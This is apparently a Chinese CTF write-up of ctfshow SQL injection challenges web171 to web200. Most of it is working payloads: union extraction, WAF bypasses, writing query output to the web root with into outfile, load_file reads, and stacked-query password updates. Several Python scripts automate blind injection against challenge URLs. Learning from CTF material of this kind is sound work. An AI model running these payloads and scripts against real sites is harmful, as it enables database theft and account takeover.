web171

观察语句 发现他不允许username='flag' 那么推测 username="flag"时 那么我们的思路就是想办法使语句查询出flag
我的思路是把它变成两个语句
-1' or username = 'flag
或一次性查所有的 然后翻到最下面就是了 不知道为什么有一次打开没查到 再重新打开页面就好了
这里的1'闭合了前面的部分 --+注释了后面的内容 就不会再处理这段话后面的东西了
1' or 1=1--+
web172

我们尝试上一题语句 发现 没有查询到数据 然后尝试-1' or username = 'user1 发现原来表单已有的值 是可以查到的 并不是方法被屏蔽了 那我们可以推测 我们要查询的数据可能不在当前表里,于是我们的思路如下
一开始没查出来 发现他有俩界面 在select模块选择无过滤注入1里可以尝试进行如下查询 无过滤注入2无法使用 以下库民和表名 注意自行替换成具体的值 步骤是承接的 因为能看到数据是三列的
如果存在没办法确定有几项数据的时候 可以用以下方法
//以此类推 直到出现报错的时候 在报错之前的那一列 就是项数了
1' order by 1 --+
1' order by 2 --+
1' order by 3 --+
1' order by 4 --+
1' order by 5 --+
我们用1,2,3挖空和其中一个部分填入我们需要的操作 所以看到1,xx,3这样不要感觉奇怪
爆库名->爆表名->爆字段名->爆字段值
-1' union select 1,database() ,3 --+ //返回数据库名,查到为ctfshow_web
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名' --+ //获取数据库里的表名 查到ctfshow_user,ctfshow_user2两张表
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名' --+ //获取表内字段名 两个表都尝试一下查询username=flag
-1' union select 1,group_concat(字段名1),group_concat(字段名2) from 表名 --+ //获取字段值,有2个表,第一个表的password内有个值为flag not here,第二个表的password内有flag
最后的查询语句为
-1' union select 1,group_concat(username),group_concat(password) from ctfshow_user2 --+
展开密码项发现flag就在最末尾

web173

这道题检查了返回结果是否包含flag 用上一题的方法 查到了ctfshow_user3这张表 发现一直显示无数据 尝试只查username是查不到的下因为username包含了flag 那就只查password试试 看到了ctfshow
-1' union select 1,2,group_concat(password) from ctfshow_user3 --+
看其他师傅写的 也可以用编码的方式绕过 例如hex(字段) 使得可以查到username以及对于的password 这里运气好或者设计不严谨?我直接查password查到了 以下是其他师傅的方法
1' union select id,hex(username),password from ctfshow_user3 --+
web174
一开始点击无参注入4 然后尝试什么都不行 正常传入都不行 然后再点击无参注入4又好了 重启容器发现 第一次选择无参注入4的时候跳转到select-no-waf-3 应该是题目的问题 点两次无参注入4奥
这里观察代码发现返回的内容屏蔽了1-9以及flag的大小写 那我们返回值也就不能带数字了 而flag生成的内容 又不太可能没有数字 这看起来很难办 看了大佬的 采用替换成纯英文 然后再替换回来 方法如下 提供一个python脚本 当然这道题也可以盲注
#如下为第一部分
t='password'
for i in range(10):
r=chr(ord(str(i))+49)
s=f"replace({t},'{i}','_{r}_')"
t=s
print(s)
#根据获得的s 构造payload -
# 1'+union+select+replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','_a_'),'1','_b_'),'2','_c_'),'3','_d_'),'4','_e_'),'5','_f_'),'6','_g_'),'7','_h_'),'8','_i_'),'9','_j_'),'aa'+from+ctfshow_user4+where+username='flag'--+
#我这里查询后的ctfshow{_e__g_ba_j__a__d__i_-_b_cbb-_e__c_ba-ae_j__f_-de_c__g__g__a_da_e__j__g_e}
#如下为第二部分 解码部分 把页面返回的结果填入下方 然后注释解开
# en_s='{_e__g_ba_j__a__d__i_-_b_cbb-_e__c_ba-ae_j__f_-de_c__g__g__a_da_e__j__g_e}'
# i=0
# l=len(en_s)
# new=''
# while i<l:
# if en_s[i]=='_':
# j=i+3
# de_s=chr(ord(en_s[i+1])-49)
# new+=de_s
# i=j
# else:
# new+=en_s[i]
# i+=1
# print(new)
payload如下:
1'+union+select+replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','_a_'),'1','_b_'),'2','_c_'),'3','_d_'),'4','_e_'),'5','_f_'),'6','_g_'),'7','_h_'),'8','_i_'),'9','_j_'),'aa'+from+ctfshow_user4+where+username='flag'--+
然后拿到返回值 再把内容 放进上方解码部分的en_s里 运行解码 拿到结果
web175

这里观察代码发现返回的内容屏蔽了所有的ASCLL码 让他在本页面是返回不了值了 俩种方法一种是盲注 一种是写入日志 报错不用理会 只用访问xx.xx.com/路径
-1' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/flag.txt' --+
访问url/flag.txt 如访问 https://2a4c6be4-0c1f-471b-8c65-523df64c793d.challenge.ctf.show/flag.txt
然后就可以拿到flag了

Web176
-1' or username = 'flag过了 我也不知道过滤了什么
web177
尝试上一题-1' or username = 'flag 发现返回无数据 也没告诉我们过滤了什么 大概测试了一下 发现屏蔽了空格 那就想办法用特殊方式代替空格
%0c /**/ %09 都可以绕过
payload如下 注意一下自己手打的话 开头和结尾有没有空格 注意删掉空格
-1'%0c||%0cusername='flag
web178
上一道题的payload过了
web179
上上一道题的payload过了
web180
上上上一题payload 过了
web181
上上上上一题payload 过了
web182

屏蔽了很多东西 发现之前的payload没办法用了 flag被过滤了 考虑一下返回所有数据 payload如下
or的两边是可以不用空格的 本来用--+不知道为什么不行 看规则里也没有屏蔽 问了以一下deepseek好像有些数据库规则不允许+变成空格 于是这里采用%01这个不可见字符协同--完成注释后面的内容
1'or'1'--%01
web183

这道题连or都注释了 还没有输入框 干沉默了 抓包试了一下 发现要post请求了 结果返回记录总数
观察发现存在盲注可能
我们通过like的方式 去匹配字段记录是不是只有一条 只有一条的那个 就是我们要的结果了 这里的user_count是我们的返回条数
字段是pass 库是ctfshow_user 以ctfshow{打头的 并且通过like只返回一条结果 一直尝试 最后找到}截止 我们编写如下的脚本
python脚本如下 注意url这里的链接默认复制过来是的https改成http奥 不然请求不了 也有可能会因为网络不稳定导致部分失败的可能性 得重新请求了(校园网!!!)
import requests
import time
url = "http://80a870ad-2e06-4d29-aeda-9843ae704a97.challenge.ctf.show/select-waf.php"
#因为是uuid所以最多只到f -是uuid连接符 }是ctfshow闭合的部分
charset = "0123456789abcdef}-_"
flag = "ctfshow{"
timeout = 2 # 精确控制超时
retry_limit = 3 # 失败重试次数
delay = 0.1 # 每次请求间隔
def safe_request(payload):
for _ in range(retry_limit):
try:
r = requests.post(url, data={"tableName": payload}, timeout=timeout)
if r.status_code == 200:
return "$user_count = 1" in r.text
except:
time.sleep(delay)
return False
while True:
found = False
for c in charset:
payload = f"(ctfshow_user)where(pass)like'{flag + c}%'"
if safe_request(payload):
flag += c
print(f"\rCurrent flag: {flag}", end="", flush=True)
if c == "}":
print(f"\nFinal flag: {flag}")
exit()
found = True
break # 找到后立即进入下一轮
time.sleep(delay) # 避免高频请求
if not found:
print("\nNo more characters matched!")
exit()
web184

整体和上一题相似 但是过滤了更多东西了 但是where都ban了 有点黑暗了 但是依然没有过滤like 那就用联立两张表的方式来利用like代替where 你问谁和谁连?当然是自己和自己连啦!
但是单引号和等于号都被过滤了 那我们只好把整体用16进制代替了 这样可以在不用单引号和等于号的情况下使用like了 接下来看看我们这样做查询出来的总数是多少
post请求参数
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725

如上 是43条记录 那么我们利用的时候 查询总数是43就是满足条件的了 然后我们尝试python脚本盲注 获得flag
参考了mumuzi师傅的python脚本 如下
import binascii
import requests
def str_to_hex(s):
return '0x'+binascii.b2a_hex(s.encode()).decode()
url = "http://0a468011-1fcc-4f74-9d14-60b1e6e62b39.challenge.ctf.show/select-waf.php"
str = "0123456789abcdef{}-_"
flag = "ctfshow"
for i in range(0,60):
for j in str:
res = str_to_hex(flag+j+'%')
data = {"tableName":f"ctfshow_user as a right join ctfshow_user as b on b.pass like {res}"}
r = requests.post(url=url, data=data).text
if "$user_count = 43" in r:
flag += j
print(flag)
if j=="}":
exit()
break
web185

这道题过滤了更多 把数字也过滤了 那形如0x这种表示十六进制转换的也不行了 但是依然没有对我们的like进行限制 那我们想办法表达出like后面的内容就好了 修改一下上一题的脚本 这里用到concat函数进行字符的拼接 来完成绕过 通过str_to_num这个函数里 对true的运算 绕过数字的检测一个true就是1 2个true相加就是2 true+true+true=3
脚本如下 参考了mumuzi师傅
import requests
#str_to_num这个函数里 对true的运算 绕过数字的检测一个true就是1 2个true相加就是2 #true+true+true=3
def str_to_num(n):
return ('true+'*n)[:-1]
def concat_str(s):
res = '' # 初始化空字符串
for i in s: # 遍历输入字符串的每个字符
# 对每个字符执行以下操作:
res += 'chr(' + str_to_num(ord(i)) + '),' # 拼接为 chr(数值表达式),
return res[:-1] # 去掉最后一个逗号
url = "http://a84c9ee8-467b-4b3d-be95-5336dd5611c1.challenge.ctf.show/select-waf.php"
str = "0123456789abcdef{}-_"
flag = "ctfshow"
for i in range(0,60):
for j in str:
res = concat_str(flag+j+'%')
data = {"tableName":f"ctfshow_user as a right join ctfshow_user as b on b.pass like (concat({res}))"}
r = requests.post(url=url, data=data).text
if "$user_count = 43" in r:
flag += j
print(flag)
if j=="}":
exit()
break
web186
用上一题可以过
web187

这道题对我们的密码进行md5处理了 本质是为了保护我们的数据完全 因为md5没办法逆向 只能碰撞 简单的md5处理一下 即使拿到了库 可能也需要很久才能碰撞出一个用户名的密码
但是这样处理也给了我们利用的机会
ffifdyop这个字符串md5编码一下 会变成'or'6É].é!r,ùíb. 这种'or'的方式 产生了强制达成条件的效果。这里我一开始疑惑 明明没有经过hex函数 在哪里变成了16进制 问了一下deepseek 用了md5函数 默认就是16进制存储的
md5("ffifdyop",true) =>276f722736c95d99e921722cf9ed621c(16进制编码后) =>'or'6É]é!r,ùíb(16进制解码后)
账号admin 密码ffifdyop完成登陆

抓包看一下响应 拿到flag
web188

这道题密码只能纯数字欸 看看有什么玄机
没看出来
来一段deepseek的解答 账号密码都是0就可以拿到flag了
SQL语句变为:select pass from ctfshow_user where username = 0
在MySQL中,当数字与字符串比较时,字符串会被转换为数字
如果用户名不是以数字开头,会被转换为0
因此可能匹配到数据库中的第一条记录
密码比较:
从数据库获取的pass值被转换为整数
输入的0也被转换为整数
如果第一条记录的密码是字符串或以0开头的数字,可能满足==比较
web189

提示我们flag在api/index.php 知道指定的文件路径 那应该是想办法读取这个路径了
这里查到load_file函数:读取文件并返回文件内容为字符串。限制条件问了一下deepseek
安全限制:
需要FILE权限(通常只有管理员有该权限)
在secure_file_priv系统变量指定的目录中(MySQL 5.7.6+)
如果secure_file_priv为NULL,则不允许文件加载
路径格式:必须使用绝对路径
二进制安全:如果文件是二进制文件,可能无法正确读取
也就是说 我们必须使用绝对路径进行读取

过滤的太多了 参考一下师傅们的wp 师傅们都通过load_file以及regexp进行布尔盲注 网络不稳定可能跑不通奥 还有就是师傅们注意一下输入的格式 替换的时候留心一点 还有就是https换成http
from requests import post
from string import digits, ascii_lowercase
url = 'http://a411f516-d2e2-4418-9077-b4bc4638e48b.challenge.ctf.show/api/'
payload = "if(load_file('/var/www/html/api/index.php')regexp'{}',0,1)"
flag = 'ctfshow{'
while True:
for c in '-}' + digits + ascii_lowercase:
res = post(url, {'username': payload.format(flag + c), 'password': '0'}).text
if '8bef' in res:
flag += c
print(flag)
if c == '}':
exit()
web190

奇怪 怎么没过滤什么东西呢 只有密码只能纯数字
本来想试试上面的load_file 因为没有过滤 但是发现并没有告诉我们flag在哪个文件里 然后也不知道具体表在哪里 然后这里是布尔盲注篇 那就来点布尔盲注 抓包一下登陆请求 发现请求的是url/api
然后我们用二分法的盲注查找一下 也是mumuzi师傅的脚本 脚本如下
其中用\u5bc6\u7801\u9519\u8bef的原因 是返回结果是u码 我们也用对应的u码去匹配
import requests
url = 'http://5be5ec01-9401-4870-852e-a55f0ff4fce8.challenge.ctf.show/api/'
flag = ''
for i in range(100):
lenth = len(flag)
min = 32
max = 128
while True:
j = min + (max - min) // 2
if (min == j):
flag += chr(j)
print(flag)
if (len(flag) > 2 and chr(j) == ' '):
exit()
break
# payload = f"' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},1,0)-- -" # 取表名
#payload = f"' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))<{j},1,0)-- -" #取列名
payload = f"' or if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1))<{j},1,0)-- -" # 拿flag
data = {'username': payload
, 'password': 114514}
r = requests.post(url=url, data=data).text
if (r'\u5bc6\u7801\u9519\u8bef' in r):
max = j
else:
min = j
web191

相较于上一道题 这里过滤了file into ascii 那么上面的方法都没办法直接用了
可以选择把ascii用ord替代 因为他们对单字节字符的处理结果是相同的 他们的区别如下:

python脚本如下:
import requests
url = 'http://2a30aa03-8906-428c-945a-9602cea36cc2.challenge.ctf.show/api/'
flag = ''
for i in range(100):
lenth = len(flag)
min = 32
max = 128
while True:
j = min + (max - min) // 2
if (min == j):
flag += chr(j)
print(flag)
if (len(flag) > 2 and chr(j) == ' '):
exit()
break
# payload = f"' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},1,0)-- -" # 取表名
#payload = f"' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))<{j},1,0)-- -" #取列名
payload = f"' or if(ord(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1))<{j},1,0)-- -" # 拿flag
data = {'username': payload
, 'password': 114514}
r = requests.post(url=url, data=data).text
if (r'\u5bc6\u7801\u9519\u8bef' in r):
max = j
else:
min = j
web192

这道题在上面的继续上把ord和hex也过滤了
我们用正则绕过 这段可能会因为网络不稳定出问题 可能得多跑几次 如下:
import requests
url = "http://3591723f-9b99-4c76-9b11-75b9e87c175a.challenge.ctf.show/api/"
flag = ""
table = "0123456789abcdef-{}_"
for i in range(1,99):
for j in table:
username_data = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g), {i}, 1)regexp('{j}'), 1, 0)=1#"
data = {'username': username_data,
'password': 1}
r = requests.post(url=url, data=data).text
if r"\u5bc6\u7801\u9519\u8bef" in r:
flag += j
print(flag)
if j == "}":
exit()
break
web193
没过滤like
import requests
url = "http://a6fb0851-4810-4390-befa-08d1c39b0fa9.challenge.ctf.show/api/"
flag = ""
table = "0123456789abcdefghijklmnopqrstuvwxyz-,{}_"
for i in range(1,99):
for j in table:
pay = flag+j+'%'
username_data = f"' or if((select group_concat(f1ag) from ctfshow_flxg) like '{pay}',1,0)#"
data = {'username': username_data,
'password': 1}
r = requests.post(url=url, data=data).text
if r"\u5bc6\u7801\u9519\u8bef" in r:
flag += j
print(flag)
if j == "}":
exit()
break
web194
同上
web195

这里是堆叠注入的部分了
问一下deepseek堆叠注入的概念 回答如下

用户名里输入 0;update`ctfshow_user`set`pass`=1
密码输入 1
如图所示

提交就可以拿到flag了
web196

我们通过
用户名 1;select(1)
密码 1
如图所示

web197
跟师傅们学到的姿势
用户名1;show tables
密码ctfshow_user

web198
如上
web199
如上
web200
如上

478

被折叠的 条评论
为什么被折叠?



